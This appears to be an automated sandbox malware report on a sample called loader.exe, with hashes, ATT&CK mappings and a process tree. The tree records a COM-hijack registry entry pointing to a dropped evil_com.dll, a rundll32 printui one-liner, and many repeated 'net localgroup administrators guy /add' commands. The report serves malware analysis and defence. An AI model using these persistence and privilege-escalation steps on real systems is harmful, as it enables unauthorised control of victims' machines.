946e205ec9956cfbd6366d50df18462b077289cd35f3b5478fdf7bb001f81501

Resubmissions

24/08/2026, 00:20

260824-am723sbq6v9

24/08/2026, 00:17

260824-ak9swsbq4v7

24/08/2026, 00:16

260824-akyevsbq219

24/08/2026, 00:11

260824-ag12ksbf349

Analysis

user interaction
yes
max time kernel
41s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/08/2026, 00:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
loader.exe
Size 34KB
Sample260824-ag12ksbf34
SHA256 946e205ec9956cfbd6366d50df18462b077289cd35f3b5478fdf7bb001f81501
MD5 7cbc92070d125641267703b8797da08c
SHA1 796ed021daaab15613adfa11c23189849565ea82
SHA512 25277992f24483b2b892519f9bbac0670f99426d5f89700eed05df348012f093cbd0cf16686519534606cd3736401a017a5956180f89a5b689a2778d80492801
SSDEEP 768:Y0UYTAT59oE06/XRoKC54MzFVetoqBSZzB:LAd9oERPCKW4MvetoF
TLSH
T1D5F2F84F739358EDC91AD178E5FA8371E9B1FC6209745E3E8350C2760E34A908A7DA4B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

discovery execution persistence privilege_escalation ransomware

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Loads dropped DLL 64 IoCs

pid	Process
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found
1848	Process not Found

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\spool\drivers\color\evil_com.dll	loader.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3348	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\CLSID	loader.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ = "C:\\Windows\\System32\\spool\\drivers\\color\\evil_com.dll"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ThreadingModel = "Apartment"	loader.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	loader.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4416	NOTEPAD.EXE

Runs net.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 616 wrote to memory of 3348	616	loader.exe	89
PID 3348 wrote to memory of 2684	3348	cmd.exe	90
PID 4436 wrote to memory of 4092	4436	net.exe	159
PID 2040 wrote to memory of 1756	2040	net.exe	160
PID 4856 wrote to memory of 5308	4856	net.exe	185
PID 5788 wrote to memory of 1336	5788	net.exe	162
PID 4924 wrote to memory of 4612	4924	net.exe	163
PID 5672 wrote to memory of 4212	5672	net.exe	164
PID 5888 wrote to memory of 4636	5888	net.exe	166
PID 5084 wrote to memory of 3656	5084	net.exe	165
PID 5104 wrote to memory of 2816	5104	net.exe	167
PID 2280 wrote to memory of 4112	2280	net.exe	168
PID 3220 wrote to memory of 3596	3220	net.exe	169
PID 4144 wrote to memory of 3484	4144	net.exe	170
PID 2824 wrote to memory of 2240	2824	net.exe	171
PID 1244 wrote to memory of 1804	1244	net.exe	172
PID 5332 wrote to memory of 924	5332	net.exe	174
PID 2940 wrote to memory of 6104	2940	net.exe	173
PID 824 wrote to memory of 3944	824	net.exe	175
PID 6120 wrote to memory of 4416	6120	net.exe	176
PID 3020 wrote to memory of 832	3020	net.exe	177
PID 2236 wrote to memory of 1408	2236	net.exe	178
PID 2500 wrote to memory of 2552	2500	net.exe	179
PID 996 wrote to memory of 5264	996	net.exe	180
PID 5020 wrote to memory of 892	5020	net.exe	181
PID 5876 wrote to memory of 5728	5876	net.exe	182
PID 2180 wrote to memory of 6124	2180	net.exe	183
PID 4736 wrote to memory of 3188	4736	net.exe	184
PID 5844 wrote to memory of 5308	5844	net.exe	185
PID 2244 wrote to memory of 1748	2244	net.exe	186
PID 5116 wrote to memory of 236	5116	net.exe	187
PID 5236 wrote to memory of 2384	5236	net.exe	188
PID 4812 wrote to memory of 1548	4812	net.exe	189
PID 1812 wrote to memory of 5872	1812	net.exe	190
PID 5580 wrote to memory of 5880	5580	net.exe	191
PID 4908 wrote to memory of 1980	4908	net.exe	199
PID 1072 wrote to memory of 3124	1072	net.exe	198
PID 1840 wrote to memory of 3140	1840	net.exe	200
PID 4896 wrote to memory of 2424	4896	net.exe	270
PID 1804 wrote to memory of 4960	1804	net.exe	271
PID 236 wrote to memory of 3216	236	net.exe	272
PID 2464 wrote to memory of 1256	2464	net.exe	273
PID 1744 wrote to memory of 4180	1744	net.exe	274
PID 5360 wrote to memory of 5356	5360	net.exe	275
PID 2376 wrote to memory of 2964	2376	net.exe	276
PID 200 wrote to memory of 364	200	net.exe	277
PID 5124 wrote to memory of 5508	5124	net.exe	278
PID 4656 wrote to memory of 3808	4656	net.exe	279
PID 6140 wrote to memory of 2756	6140	net.exe	280
PID 2528 wrote to memory of 4468	2528	net.exe	281
PID 2544 wrote to memory of 4260	2544	net.exe	282
PID 4040 wrote to memory of 3688	4040	net.exe	283
PID 5804 wrote to memory of 4456	5804	net.exe	284
PID 3472 wrote to memory of 1248	3472	net.exe	285

C:\Users\Admin\AppData\Local\Temp\loader.exe
"C:\Users\Admin\AppData\Local\Temp\loader.exe"
1⤵
- Drops file in System32 directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rundll32 printui.dll,PrintUIEntry /k /n "Microsoft Print to PDF"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Windows\system32\rundll32.exe
    rundll32 printui.dll,PrintUIEntry /k /n "Microsoft Print to PDF"
    3⤵
    PID:2684

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4092

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5672
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4212

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:1756

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5788
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:1336

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6104

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4856
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:5308

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4112

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:3188

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4924
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4612

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5236
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:2384

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:2552

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5844
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:5308

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6124

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5084
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:3656

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5116
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:236

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:824
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:3944

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2244
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:1748

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5332
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:924

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5580
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:5880

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:832

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:1408

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5104
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:2816

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4144
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:3484

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:892

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:1548

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:6120
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4416

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3220
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:3596

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:5872

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5876
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:5728

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5888
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4636

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:2240

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:1804

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:5264

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:3140

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4908
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:1980

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:3124

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4424

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Windows\Temp\SYSTEM_PROOF.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:4416

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4960

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:2424

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2376
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:2964

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:1256

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:200
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:364

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5360
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:5356

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:236
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:3216

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4180

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:3188
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6324

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:1016
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6364

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:1480
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6348

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:864
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6424

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:4900
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6316

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4260

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:2896
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6356

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:6140
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:2756

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:1248

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:5980
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6408

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:1568
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6372

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2528
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4468

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:3484
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6340

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:5724
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6432

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:4268
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6332

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5124
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:5508

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:4132
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6380

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:5804
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:4456

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:3808

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:1336
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6388

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:5792
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6396

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:1708
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:5956

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:2540
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6416

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:3688

C:\Windows\system32\net.exe
net localgroup administrators guy /add
1⤵
PID:2460
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 localgroup administrators guy /add
  2⤵
  PID:6440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Account Manipulation

T1098

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Account Manipulation

T1098

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

evil_com.dll

Path C:\Windows\System32\spool\drivers\color\evil_com.dll
Size 14KB
SHA256 80c6b7c05c1a52194bed2b0fe08a55c783ac34fa996eb201c442e29073132924
MD5 9677e6b0061c4f2e91fce9cfbae1d91b
SHA1 1bb5ba4a6aee0b44f672867dc943cbd167c572a0
SHA512 a717d5f5ffcd101072b0c6acddb6ef4a7d325d4bea11d6c3a5d3f95dc7f198dd511d135bc4dcc8b26e5878b888bb1be9e99293331c4af809d186af16f4a6d69c
SSDEEP 192:4Rn/lZ806KQ4wQAyyXRJKHG8ye6TjM+g46aYiCdWR3yX:0E06t48XRUj0AcCdWRC
TLSH
T15062C68FB7D3A8B9CE1AD274D5FB4735F5B1BC6108286E3F01A9C2724E74640423DA1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/616-1-0x00007FF6B3E60000-0x00007FF6B3E6F000-memory.dmp

Download